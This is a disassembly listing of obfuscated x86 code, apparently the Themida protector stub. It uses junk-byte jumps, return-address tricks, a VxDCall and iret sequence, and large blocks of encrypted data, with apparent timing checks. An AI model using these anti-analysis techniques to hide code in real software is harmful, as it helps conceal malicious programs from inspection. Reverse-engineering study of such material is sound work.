; ---------------------------------------------------------------------------
		db 64h
; ---------------------------------------------------------------------------
		jb	loc_5C2AB7
		jmp	loc_5C2AB7
; ---------------------------------------------------------------------------
		db 0Fh
		dd 8CCF3A85h, 0C36D2171h, 181FE24Ch, 0A3F4F9D2h
		db 0B9h, 22h, 0D4h
; ---------------------------------------------------------------------------


loc_5C2AB7:				; CODE XREF: Themida_:005C2A98j
					; Themida_:005C2A9Ej
		mov	eax, [ebp+7D4BEFCh]
		jg	loc_5C2AD1
		jmp	loc_5C2AD1
; ---------------------------------------------------------------------------
		dd 73535750h, 0EF35AB9Bh
; ---------------------------------------------------------------------------
		movsd


loc_5C2AD1:				; CODE XREF: Themida_:005C2ABDj
					; Themida_:005C2AC3j
		pusha
		cld
		jmp	loc_5C2AEB
; ---------------------------------------------------------------------------
		dd 0F2AFBB7Bh, 4141AECAh, 0E0FF212h, 0B8F71D32h
		db 0B8h, 13h, 85h
; ---------------------------------------------------------------------------


loc_5C2AEB:				; CODE XREF: Themida_:005C2AD3j
		popa
		retn
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5C2AF8
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2AF8	proc near		; CODE XREF: Themida_:005C2AF0p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5C2AF8	endp

; ---------------------------------------------------------------------------
		inc	ebx
		xchg	edi, [ebx]
		sub	bl, [ebx]
		xchg	eax, edx
		and	ecx, ecx
		or	[esi+60h], al
		jno	loc_5C2B32
		jmp	loc_5C2B32
; ---------------------------------------------------------------------------
		dw 0E28Ah
		dd 8111533Dh, 0EE05626Bh, 3EB987E1h, 0FABF82E9h
		db 0E7h, 65h
; ---------------------------------------------------------------------------


loc_5C2B32:				; CODE XREF: Themida_:005C2B13j
					; Themida_:005C2B19j
		cmp	dword ptr [ebp+7D4C566h], 0
		jnz	loc_5C2B8D
		push	0
		push	edx
		call	sub_5C2B4A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2B4A	proc near		; CODE XREF: Themida_:005C2B42p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5C2B4A	endp

; ---------------------------------------------------------------------------
		push	edx
		db	36h
		clc
		mov	dword ptr [ebp+7D4C566h], 1013Fh
		pusha
		mov	eax, edx
		jmp	loc_5C2B83
; ---------------------------------------------------------------------------
		db 34h
		dd 0C6BBE407h, 3891B6FFh, 82437AD0h, 8A392AA1h
		db 8Ch,	22h, 0E9h
; ---------------------------------------------------------------------------


loc_5C2B83:				; CODE XREF: Themida_:005C2B6Aj
		popa
		pusha
		movsx	ebx, si
		mov	dx, 0EDC9h
		popa


loc_5C2B8D:				; CODE XREF: Themida_:005C2B39j
		jmp	loc_5C2BA2
; ---------------------------------------------------------------------------
		stc
		jmp	loc_5C2BA2
; ---------------------------------------------------------------------------
		retn	0C04Ah
; ---------------------------------------------------------------------------
		db 0A6h
		dd 0A50E582Ah
		db 0, 71h
; ---------------------------------------------------------------------------


loc_5C2BA2:				; CODE XREF: Themida_:loc_5C2B8Dj
					; Themida_:005C2B93j
		VxDCall	0


loc_5C2BA8:				; CODE XREF: Themida_:005C2BE1j
		or	eax, eax
		jz	short loc_5C2BE3
		lea	esi, [eax+0Ch]
		mov	edi, [ebp+7D4BF04h]
		mov	ecx, 8


loc_5C2BBA:				; CODE XREF: Themida_:005C2BBEj
		cmpsb
		jnz	short loc_5C2BDF
		dec	ecx
		jnz	short loc_5C2BBA
		mov	ecx, [eax+30h]
		mov	ebx, [ebp+7D4BF00h]
		cmp	ebx, [eax+34h]
		jg	short loc_5C2BE3
		mov	edx, ebx
		imul	edx, 4
		add	ecx, edx
		mov	eax, [ecx]
		mov	[ebp+7D4BEFCh],	eax
		jmp	short loc_5C2BE3
; ---------------------------------------------------------------------------


loc_5C2BDF:				; CODE XREF: Themida_:005C2BBBj
		mov	eax, [eax]
		jmp	short loc_5C2BA8
; ---------------------------------------------------------------------------


loc_5C2BE3:				; CODE XREF: Themida_:005C2BAAj
					; Themida_:005C2BCCj ...
		popa
		mov	eax, [ebp+7D4BEFCh]
		iret
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5C2BF6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2BF6	proc near		; CODE XREF: Themida_:005C2BEEp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5C2BF6	endp

; ---------------------------------------------------------------------------
		dw 0FE1h
		dd 1880h, 128C0F00h, 0E9000000h, 0Dh, 1F092A91h, 1803FFF9h
		dd 0B29F6536h
; ---------------------------------------------------------------------------
		xor	bh, ah


loc_5C2C26:				; CODE XREF: Themida_:loc_5C2546j
		mov	eax, eax
		jmp	loc_5C2D33
; ---------------------------------------------------------------------------
		db 23h,	24h, 0DFh
		dd 55C9757h, 0A188838Ah, 0E0A1D76h, 538FDD7Ah, 2F6D3733h
		dd 773D557Dh, 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h
		dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 773D557Dh,	7DD57F2Dh
		dd 1E577DD7h, 75DF6D17h, 60206020h, 0E0E02020h,	68AC2060h
		dd 0E4A9F77Bh, 0B2D020A1h, 0B7EDA693h, 0F291B99Dh, 6020ACA3h
		dd 60206020h, 0E0E02020h, 53752060h, 2F0D0A33h,	6020557Dh
		dd 60206020h, 362BA728h, 60C950F0h, 0A1EFB6F3h,	0B4E0F796h
		dd 92B8E3A7h, 0E9B3F471h, 60F76DB9h, 60206020h,	20206020h
		dd 1ADF6DF7h, 7DD77335h, 0EDF73D57h, 5375D55Fh,	2F6D3733h
		dd 773D557Dh, 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h
		dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 0A1E357Dh,	3407000Eh
		dd 0A0A3D25Dh, 1E59h, 7	dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5C2D33:				; CODE XREF: Themida_:005C2C28j
		jmp	loc_5C3995
; ---------------------------------------------------------------------------
		push	7D4C95Fh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4CA6Dh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4CB17h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4CC17h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4CC88h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4CD17h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4CE82h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4CFC7h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4D081h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4D149h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4D1FBh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		dw 0C5B9h
		dd 0E7A18E1Bh, 0F68F7C09h, 1F7E6BF8h, 2B6754E1h, 188540CDh
		dd 6DFAF694h, 5AE70580h, 45D22C6Dh, 2FBC3858h, 89E4A18Dh
		dd 3B19FD7Bh, 63217553h, 0D0B3A085h, 1EC9351Ah,	9C5838EFh
		dd 0F011810Fh, 0E40B4704h, 22B919F9h, 5E30503Dh, 402CC33Dh
		dd 0D6BB3153h, 3723B03Fh, 0E3DF8E4Bh, 4EE519F9h, 36B2D2BFh
		dd 0E3D69451h, 5C0719F9h, 0DA1676ADh, 6F20604Dh, 8955490Bh
		dd 7A377C62h, 19FA4DF3h, 0B7A33AD1h, 4D5F0ECBh,	0CE6519FAh
		dd 2F6D5A3Fh, 86FFECD1h, 0F5968368h, 0DF8A16FBh, 5E98F930h
		dd 61903BC7h, 810EEAAAh, 9ECEA50Ah, 52B3841h, 215A0000h
		dd 0B3A08563h, 3F2B17D5h, 28B4EB82h, 0B342D912h, 7EA9826h
		dd 86432F1Bh, 1228B4E7h, 0E48946DDh, 0E01228B4h, 0C13F5C49h
		dd 0E5894632h, 0DF19F9E8h, 106F5C48h, 0A15E43D2h, 19F9E8C8h
		dd 7FB5640Fh, 95F9F792h, 383E0866h, 0E55CEBEDh,	419E39CAh
		dd 2F13h, 12803500h, 5A1703EFh,	1228B513h, 9F8B1AB1h, 0F9DCD0E2h
		dd 785DF419h, 0F9DCAEBBh, 8F7E2919h, 9E5DA10Eh,	1173C41h
		dd 63500000h, 5F3DCC22h, 0A0856321h, 0A0450B4h,	0DA86A95Eh
		dd 0C43C5E4Bh, 98FF3DFh, 3210E138h, 0DFBDAA39h,	0E5493521h
		dd 0C4417045h, 5D10CD0Ch, 671228FBh, 6F5C41D0h,	0FAE7D311h
		dd 0E57C619Fh, 4E0CC956h, 2E1228FFh, 1805926Eh,	0AB977C78h
		dd 0FE6B02BFh, 0C2591228h, 0BEF5A533h, 0A63D22DEh, 44BF230Fh
		dd 0C9F77C4Ah, 0D792B2DFh, 81651C73h, 3395D895h, 982F1229h
		dd 0DE601D09h, 0E619FA47h, 680F96FAh, 2F15DE7h,	0F9C42845h
		dd 0D5AF9C19h, 49B3217h, 2052E06Dh, 118D5C1h, 0C321CDA6h
		dd 30DC402Ch, 2AA7A276h, 1F64086Ch, 0ADACF66Eh,	4545321Eh
		dd 51311EABh, 8FF7E397h, 0CF1FEBDh, 96294h, 24DCC200h
		dd 12EEAA97h, 1FF9885h,	0EA088774h, 0D612705Dh,	9D0F8E49h
		dd 897603FDh, 7663F00Eh, 614EDB15h, 9638C523h, 7D80EDAAh
		dd 5C4419FDh, 8761217Eh, 0DE69379Bh, 7210241h, 13FFEB78h
		dd 29951756h, 0C2C0AD12h, 13AA4126h, 0A5F99784h, 0E57209E7h
		dd 0EF128007h, 0DD6C4603h, 241119F9h, 0BBA88D63h, 0FD8C23D9h
		dd 1FDCC158h, 19F9DE4Ah, 0D7B4A18Dh, 30DF8A19h,	9E5F406Fh
		dd 0F9978441h, 6D2A16FBh, 19F9D200h, 0A9962DC4h, 0AB7E0DEBh
		dd 0B4h, 306321CDh, 28B4FA73h, 9C33CA12h, 30C8CAB7h, 0B8CC8E4Bh
		dd 0C5B11228h, 8A933261h, 0C27F7724h, 122941ABh, 6F38219h
		dd 0F0DD6A86h, 0E16F5490h, 6098FAB1h, 1E20DDC9h, 5F19FA56h
		dd 55B7B673h, 760D19FAh, 1EAB42E7h, 13FFE290h, 0CE34B256h
		dd 8F7B1221h, 4FB3E0A2h, 567F9027h, 0EF7E3B4Eh,	0D521CE5Bh
		dd 694EAAE8h, 17A43BD2h, 0DC90682Ah, 0FEBCCCD4h, 542FA78Ch
		dd 0B4000008h, 9C8916CAh, 8A7704F8h, 7966F30Dh,	624FDC1Ah
		dd 803BC820h, 0FDFB971Dh, 0EA008370h, 0D513705Dh, 0BF3D5B48h
		dd 0E7A49032h, 19FD7E86h, 2178563Eh, 0DFA8761h,	6E4718Fh
		dd 0A0856321h, 8A17D5B3h, 0A2D068ADh, 34F39A72h, 0B95084A3h
		dd 940E10CDh, 836F19FAh, 0FA93A7C6h, 74311D19h,	19FA93F9h
		dd 0E9D34CBh, 0B06DD269h, 18C307E3h, 55128AF8h,	18C30818h
		dd 927E15ACh, 940FC5D5h, 7C68FF20h, 64F3F18Fh, 6081F17Fh
		dd 0EA088774h, 0A1B26F5Bh, 232868B6h, 0D5B3A08Ch, 0FF9D8A17h
		dd 69314D01h, 0EF3E759h, 7AA96h, 6C940A00h, 5A96F2DFh
		dd 49A7E0CDh, 32B0CFBCh, 1EDAB8A5h, 0E5C7D691h,	0D1BE4BA5h
		dd 0BEAB38B6h, 0A99623DDh, 0DE800DEBh, 803835F2h, 0A48C19FDh
		dd 306321C6h, 28B4FA73h, 9C33CA12h, 26C4C3B0h, 7624B297h
		dd 3CEAA793h, 4119F9DFh, 0AA673054h, 19F9DEC3h,	0EED36A01h
		dd 0D12F6A57h, 21C655ECh, 0D4B19E8Ah, 472CC0C4h, 84B519B0h
		dd 32E5A06Fh, 8E1BAAh, 105D1A92h, 0B419FA05h, 0AE9A861Dh
		dd 4429C7C1h, 0D4611EADh, 0F021CECBh, 806D59h, 0DF20E8Eh
		dd 8FF3DF76h, 58F55D1Dh, 0C2107C72h, 0C8A82B8Fh, 6C59E675h
		dd 5DEBD02Ch, 0F4E0CC2Dh, 886D8B07h, 6D8304F1h,	0BA3B21DEh
		dd 9D8929A3h, 0A3B98DE0h, 9A03729h, 9351301Dh, 6D2B1804h
		dd 7715028Fh, 94069479h, 0BA0A6320h, 23BA29A3h,	0D0B3A08Ch
		dd 83A2B61Ah, 850C1E84h, 0B14D0AF6h, 13317544h,	0FBBCC87Ch
		dd 7F64EE55h, 6AA07h, 6C940A00h, 5A96F2DFh, 49A7E0CDh
		dd 32B0CFBCh, 1EDAB8A5h, 0E5C7D691h, 0D1BE4BA5h, 0BEAB38B6h
		dd 0A99623DDh, 0DE800DEBh, 813835F2h, 0A48C19FDh, 0EF1280C6h
		dd 6E2B1703h, 1228B4FFh, 0E29F2EC5h, 19FD7A82h,	0D3BFAB42h
		dd 6449A7E6h, 33513ECDh, 5D3B28B5h, 7E2CBA9Fh, 34F2AF9Bh
		dd 9021CEA5h, 2409E7A3h, 0C842F68Dh, 0D4FEBC9Ch, 63977EFh
		dd 0E5990000h, 7816EFBh, 166F5CE9h, 3F5E4BD8h, 4B4734C1h
		dd 386520ADh, 4DDA1674h, 3AC72560h, 25B24C4Dh, 0F9C5838h
		dd 0A9C4816Dh, 1B19FD80h, 12805533h, 0EF4603EFh, 0D519FD7Bh
		dd 75335971h, 0A38F9FE2h, 0FCE987E6h, 0FA63D19h, 4F4A3723h
		dd 573522B1h, 611F0C99h, 62109E83h, 86D6937Fh, 3E21D1AFh
		dd 0CECEBBA7h, 0D8B8A532h, 0F9A9371Ch, 8F6F2C18h, 0EE29A2D9h
		dd 0FB998001h, 9380D3DBh, 0E28716ADh, 9579974Bh, 8267E663h
		dd 5AA0Ah, 6C940A00h, 5A96F2DFh, 49A7E0CDh, 32B0CFBCh
		dd 1EDAB8A5h, 0E5C7D691h, 0D1BE4BA5h, 0BEAB38B6h, 0A99623DDh
		dd 0DE800DEBh, 823835F2h, 0A48C19FDh, 856321C6h, 17D5B3A0h
		dd 6B8EFC8Ah, 0E8ACC27Fh, 2C1819F9h, 0F9E8FE6Fh, 0E7197E19h
		dd 2FC66B02h, 0E299F2CBh, 9A05BFBh, 6E026724h, 1B7A19FAh
		dd 8F0BF8DDh, 98438C71h, 0CB760869h, 0EB545B5Ch, 5189419Eh
		dd 0AB000000h, 0E038BE22h, 0EABA831Eh, 0D2694EAAh, 0DB924F3Bh
		dd 0E912290Dh, 4535C352h, 20B7494Eh, 363B7734h,	564219FAh
		dd 0FA35D499h, 0CA59F019h, 3EA28E25h, 2AFFB1D7h, 7E7819B0h
		dd 0DC6B0299h, 92F3AF7h, 0FDA819FAh, 8A228D0Eh,	0F8BB419Eh
		dd 0DD000000h, 0A0856321h, 30CEC7B4h, 0B4E68744h, 47DE1228h
		dd 0DCCFCBB8h, 28B54E1Fh, 0F2DF7612h, 0D9705593h, 10705D42h
		dd 9F03EFD4h, 96569A7Eh, 412EBD7Eh, 55B9A543h, 0A08E1336h
		dd 0E7740337h, 2906302Ah, 0E34C4C12h, 656EDC16h, 1AA73E33h
		dd 0AC916F2Dh, 7B386C1Eh, 122986F2h, 0B8A43BD2h, 0FAA67FFBh
		dd 3B584519h, 0D63A26BDh, 0D8821B24h, 0A734C3D0h, 9C886919h
		dd 0CDBEA1DFh, 0A08C2321h, 0D7C4D7B3h, 0EF7E3BB9h, 0D521CDBEh
		dd 2E1AA73Eh, 0C1A64041h, 0A25C3D2Ah, 8C642613h, 0BC662ED8h
		dd 65DDC2FEh, 43Fh, 7401FF9Fh, 62EF0D87h, 51DE1075h, 3AC72564h
		dd 26B34D4Dh, 187A326Bh, 236653E0h, 365340CDh, 5E3E2BB8h
		dd 877315A2h, 0FD82A3CAh, 5B392119h, 0A898BE22h, 971EECBEh
		dd 817F1B08h, 7A1B08F4h, 0D0B29F84h, 59C3318h, 970B8976h
		dd 841B00FEh, 228260EDh, 0B4F47936h, 39D01228h,	0B4DD904Dh
		dd 50E71228h, 0A24733C1h, 0DCB9F9B6h, 1E0B19F9h, 0BA28779h
		dd 0BB248874h, 0B0CD9B95h, 140D601Dh, 20B719FAh, 5815FA89h
		dd 19FA1411h, 6776DAC6h, 46CE3FA4h, 6A9944D3h, 9EF48629h
		dd 0FFDA3E41h, 0B54B4E01h, 0C52A9C51h, 0D06336h, 21850000h
		dd 0B4A08563h, 45636D50h, 23B280E1h, 0B79C5436h, 294260FAh
		dd 57301D12h, 7DF0AD99h, 47122942h, 543421B0h, 7E1E0B98h
		dd 42FD702Dh, 30C71229h, 8649AD99h, 0FF01CED1h
		dd 20AE9322h, 0E6A38F72h, 19F9E994h, 0C1AD9930h, 0F9E96904h
		dd 0A1F75B19h, 9D840997h, 0DD9A861Dh, 19FA2790h, 810E9D34h
		dd 766287F3h, 0CE0668B9h, 0D9C55C21h, 6C51AFECh, 6D5A46D5h
		dd 43ED062Dh, 61C52360h, 16AD6EE4h, 0ACFE9C89h,	942B10ECh
		dd 0CAE749FDh, 583DFEBCh, 2FAE0h, 0BC245A00h, 0AA46422Fh
		dd 9957301Dh, 82601F0Ch, 6E8A08F5h, 357726E1h, 210E9B55h
		dd 0EFB8866h, 0F9E6738Dh, 2ED05D9Bh, 83E88542h,	0F4DC19FDh
		dd 87612116h, 718F0DFAh, 632106E4h, 0B4FA7330h,	33CA1228h
		dd 0CACAB79Ch, 0C9B5A12Eh, 28B4610Ch, 0E0CC6312h, 28B54A23h
		dd 54E37A12h, 513E9077h, 0C7216131h, 0CFB44BE2h, 6F1BA938h
		dd 0D1B19E8Ah, 0C9B3217h, 0E6BB6320h, 720919F9h, 5DC1500Dh
		dd 681ABE2Fh, 0EC399D89h, 199C8BCh, 4603EF7Eh, 0C600A024h
		dd 962409A0h, 5C1905E4h, 0CDD546F7h, 48A4E0CDh,	4935CC63h
		dd 33C03C5Ch, 0F6AA4646h, 4AB5FE34h, 40138B70h,	0A0000002h
		dd 887502FEh, 7663F00Ch, 6552DF11h, 4E3BC826h, 6C27B44Ch
		dd 0E11F7B31h, 0CE2C6754h, 0B9375441h, 0A3413F2Ch, 0CB887416h
		dd 19FD84A2h, 225C3A22h, 0B69B5535h, 0E5A3901Fh, 0E6942207h
		dd 3E2B1703h, 28BFA45Ch, 0CF36DC99h, 0F78E19F9h, 0B77C1E0Bh
		dd 0AE83BEABh, 775CF319h, 0E7C451E0h, 856416DAh, 9D42DC99h
		dd 968221CBh, 9C80EDAAh, 0AD4421CBh, 0CB9C7DF0h, 19B04721h
		dd 0B6EF7B4h, 3D6DDE5Ah, 9EE0286h, 7D6B99A5h, 18AF1BF2h
		dd 0BDA99581h, 5A256D00h, 3C057DEh, 0DE5A256Ah,	4834C35Ah
		dd 2B2E0F8Bh, 391EB5E6h, 2E1AFFABh, 0FFD4E271h,	5F4BE2EDh
		dd 49D61272h, 0CC03C5Ch, 2ACE4C34h, 780F876Ch, 0D8000001h
		dd 0C0AD3AA6h, 0AE9B28C4h, 9D8A17E9h, 867300FEh, 0A45FEC04h
		dd 19D7B3F9h, 6E49F8Ch,	0F10F8C79h, 0DB197764h,	3C0AC4Eh
		dd 19FD856Ah, 2194725Ah, 0AD998563h, 28B47DF0h,	3A5A4712h
		dd 0AB42D9BEh, 0F9A9371Ch, 4328C0C2h, 6C2915ACh, 19F9CF76h
		dd 0C8A5624Eh, 0FC19F9CFh, 6441CE65h, 49D03454h, 9BD221DCh
		dd 285AE877h, 0F1D61473h, 1AD7C35Ah, 21CB5904h,	3BB1D3C0h
		dd 0C328BF56h, 0BE44C706h, 836614DAh, 4CC0DA97h, 6D04E28Fh
		dd 6988FA88h, 0F3F1907Dh, 98BB7864h, 2CEA63F3h,	0DCBCA995h
		dd 0E6A69320h, 53F8560Ah, 0F7DC2922h, 0C67Fh, 88782600h
		dd 768A0EFBh, 659BFCE9h, 4EACEBD8h, 3AB6D4C1h, 9ABF2ADh
		dd 0F5E26F89h, 0E2CF5C92h, 0CDBA47A1h, 2A431CFh, 86145916h
		dd 0C8B019FDh, 856321EAh, 816012A0h, 0D91ED895h, 0BAA619F9h
		dd 0D95C11CEh, 0D16819F9h, 0F9DA5914h, 3DD46B19h, 0BBD7C4B0h
		dd 7220AE3Dh, 72E6A38Fh, 5221CE9Fh, 0ABE9D6BBh,	1374614Dh
		dd 0D4C14EDDh, 965338B4h, 71DA977Eh, 0EE25D47Fh, 6498FCAEh
		dd 355340CDh, 0A6E5D2B7h, 0C45B95F2h, 9C8B36DFh, 0F7B4E7A5h
		dd 71DA9776h, 0C9CAB74Eh, 0C0AC982Fh, 0DA976A03h, 34C35A71h
		dd 1EDABAA7h, 5151CE32h, 7A5F9DFCh, 0A4FB7FE3h,	84DF8E4Bh
		dd 4EE571DAh, 0CB4328B7h, 3, 21E4C2EDh,	0B19E837Dh, 433015D3h
		dd 0D6C3A846h, 6B583DB3h, 0FFECD12Fh, 93806583h, 2411F6F4h
		dd 0BBA88D63h, 6F3E23D9h, 5E08950h, 4, 8704E883h, 895C2404h
		dd 5968241Ch, 8900006Ah, 0C168241Ch, 8900003Bh,	0B682434h
		dd 89000062h, 68BE2434h, 8907D4C7h, 0EC815EF3h,	4, 83242489h
		dd 5E042404h, 55D88950h, 6E89C589h, 8B585D08h, 89562434h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 2434FF5Ch, 4C4835Bh
		dd 0FCAB2FE9h, 0E40A56FFh
; ---------------------------------------------------------------------------
		pushf


loc_5C3995:				; CODE XREF: Themida_:loc_5C2D33j
		mov	eax, 7D4D2E6h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0BFE1h
		dd 0F2CE2B79h, 0D93A7191h, 0DD7A7CBFh, 2656F3Ch, 0E3AB5661h
		dd 550F755Ch, 0A7A1318Ch, 116D03C9h, 23436F95h,	48E93943h
		dd 70000001h, 74000000h, 78000000h, 7C000000h, 80000000h
		dd 84000000h, 88000000h, 8C000000h, 0D0000000h,	0D4000000h
		dd 0D8000000h, 0DC000000h, 0E0000000h, 0E4000000h, 0E8000000h
		dd 0EC000000h, 0F0000000h, 0F4000000h, 0F8000000h, 0FC000000h
		dd 0
		dd 4000001h, 8000001h, 0C000001h, 1, 37h dup(0)
		dd 2B000000h, 3005C3Ah,	8D00B3C2h, 0D4D38D85h, 75958907h
		dd 8907D132h, 0D4D4CD85h, 8CEF8107h, 0C63057F4h, 0D131B585h
		dd 0D3805407h, 0AA79683Ch, 26BBBBC0h, 813BE282h, 0BDB02404h
		dd 0B76032A1h, 5B5660CBh, 9C38C181h, 61614B1Ch,	26C9BD8Bh
		dd 0B5FF07D1h, 7D10831h, 6820Fh, 958B0000h, 7D11A85h, 0A6EA858Dh
		dd 816607D4h, 0FF400FD1h, 0F88B66D0h, 0D4D18589h, 0BD8B07D4h
		dd 7D12439h, 58E9h, 11E800h, 21270000h,	9D9627CBh, 0E00B3284h
		dd 3390188Dh, 5954ADE9h, 0CDB58B56h, 8907D4D4h,	0CD858306h
		dd 407D4D4h, 8D60C35Eh,	0D4D38DB5h, 560FEB07h, 36FF006Ah
		dd 0D4D195FFh, 835E07D4h, 3E8304C6h, 61EC7500h,	4CF180C3h
		dd 0DB002BAh, 9D29563Fh, 7D13409h, 78858D59h, 8107D4D5h
		dd 65041ADFh, 81858932h, 0E807D11Bh, 12h, 3C677223h, 1AF5B288h
		dd 920FC6CBh, 4095DF8Fh, 0F57D269h, 583h, 0C2816600h, 5E5A5AC4h
		dd 85C5BB60h, 13E81A92h, 25000000h, 0AEA9BD3Eh,	0C275166h
		dd 0CE5484BFh, 430F7D37h, 0B70F3C41h, 816159DAh, 689DC6h
		dd 0D59D3100h, 2B07D105h, 0D0C480FFh, 813734FFh, 5CBA0C2h
		dd 0B9665B2Fh, 0C3818784h, 25B67C7Ch, 1C31EB81h, 3FB57368h
		dd 529EB81h, 0D08118C0h, 74BD0DE3h, 48FF553h, 70EA803Eh
		dd 6D6CB966h, 8B04EF83h, 20FF81C8h, 0FFFFF98h, 1485h, 81666000h
		dd 61A5E7F6h, 1CE9h, 339B9B00h,	3B9E4E8Ah, 0D8D8B73h, 0E907D128h
		dd 0FFFFFF9Ch, 847497Bh, 0DE4CBF84h, 75E900h, 66600000h
		dd 4A8D88Ch, 35840Fh, 16A0000h,	1CC9B5FFh, 858D07D1h, 7D4A6EAh
		dd 8589D0FFh, 7D10C81h,	0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah
		dd 1000Dh, 0C8195FFh, 32E907D1h, 0C6000000h, 0D131B585h
		dd 0DF685607h, 0FFA9C530h, 0D10831B5h, 0EA858D07h, 0FF07D4A6h
		dd 0B58589D0h, 8D07D12Bh, 0D114BD85h, 206A5007h, 0FF56056Ah
		dd 0D12BB595h, 0C1C36107h, 4FEB06E0h, 0FA251C8Fh, 0C6A108ABh
		dd 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h, 0CE1BF531h,	0D129B327h
		dd 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh, 4300A6DBh, 9F004343h
		dd 0DC80BAh, 54000000h,	0FEB61Bh, 0FBFE3600h, 87000000h
		dd 2352DDB4h, 19ED920h,	0E97C809Eh, 12A7h, 15898589h, 83F507D1h
		dd 0D11715BDh, 850F0007h, 1Fh, 68A0Fh, 0BD890000h, 7D115CDh
		dd 0B8h, 0D59D8900h, 0C207D118h, 0E0BA0004h, 8B116F18h
		dd 6DBD23C0h, 8307D128h, 0D13405BDh, 9750007h, 2849BD83h
		dd 740007D1h, 8B535013h, 4D0B8C0h, 9D8D0000h, 7D3DF84h
		dd 585BD3FFh, 2849BD83h, 740007D1h, 0B8535011h,	4D0h, 0DED19D8Dh
		dd 0D3FF07D3h, 6A585Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 118D7BC3h, 0F3511AFBh, 24B6EB87h
		dd 24C98501h, 8D8907D1h, 7D1330Dh, 6AC08Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0E821B2C3h
		dd 89D9ED04h, 0BF66393Eh, 858D68E4h, 7D4D741h, 8E860h
		dd 0FF210000h, 0D2BE13BBh, 0C18B0B6Fh, 0A18D335Fh, 6107D105h
		dd 52505350h, 0C0CF8CB9h, 0B1310F21h, 5F585A52h, 0E9240489h
		dd 5, 6F880F1Ch, 0FE858D81h, 6A07D4D6h,	3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0E2E1C353h
		dd 6853BEA2h, 5A2A1807h, 21C1BD8Bh, 8A5007D1h, 240489F3h
		dd 0D619D281h, 95FF5A10h, 7D12995h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 2AC35646h, 0FC3A9AB5h, 424448Bh
		dd 3395BD8Bh, 858907D1h, 7D4D729h, 824448Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 95C35141h, 0B3C2C4B4h
		dd 86050A51h, 3D858989h, 0E907D4D7h, 10h, 0A3B982EBh, 483859ACh
		dd 2CEE9686h, 9131D4ABh, 2169BD83h, 0F0007D1h, 0FF85h
		dd 0B585C600h, 4707D131h, 138D9589h, 4E807D1h, 0D2000000h
		dd 0B9D49AA7h, 375A8027h, 8E850h, 8C660000h, 0C697BE7Eh
		dd 13E81B13h, 38000000h, 0DEEB9D7h, 19532515h, 95177A3Ch
		dd 30FCFD48h, 6160F350h, 448B5F5Ah, 0F600424h, 389h, 0CE8B6600h
		dd 88E3B953h, 61595EC1h, 6660008Bh, 0E960F38Bh,	12h, 1E022442h
		dd 0C7BDE4B1h, 0F82BBEAAh, 1644C267h, 0F1BB007Eh, 611756E3h
		dd 24448961h, 0E1B5BA04h, 6A58242Ch, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 1E93C355h
		dd 831B5FFh, 8C0F07D1h,	6, 32F19589h, 858D07D1h, 7D4A6EAh
		dd 9E9h, 60CE6700h, 0A5E7BA67h,	0D0FF1D5Fh, 65F18166h
		dd 0C9BD8BD6h, 8907D122h, 0D1216985h, 8E907h, 7EF70000h
		dd 0BDABE3F7h, 0E9609D34h, 5, 5129596Fh, 0D5858B20h, 6107D11Ch
		dd 1005BD83h, 0F0007D1h, 14B85h, 719D8900h, 0C607D127h
		dd 0D131B585h, 6A4707h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 767FDDC3h, 1FBA2F6Ah, 0EDB52B60h
		dd 8007D132h, 0E86177C3h, 4, 8A0FB5E2h,	0EE96053h, 23000000h
		dd 961EA16Eh, 9DF891F6h, 0CD3A306h, 5059616Bh, 310F5250h
		dd 9E8h, 11048C00h, 0E33547ACh,	6160E2E1h, 8B585A59h, 8B042444h
		dd 14E900h, 5B2B0000h, 8202E09Ah, 0C0589C2Ah, 72797BA4h
		dd 5491DAF5h, 4489D185h, 52500424h, 11E8h, 0CBB35C00h
		dd 86BD9D59h, 2BB5C5F1h, 79305B69h, 52502549h, 585A310Fh
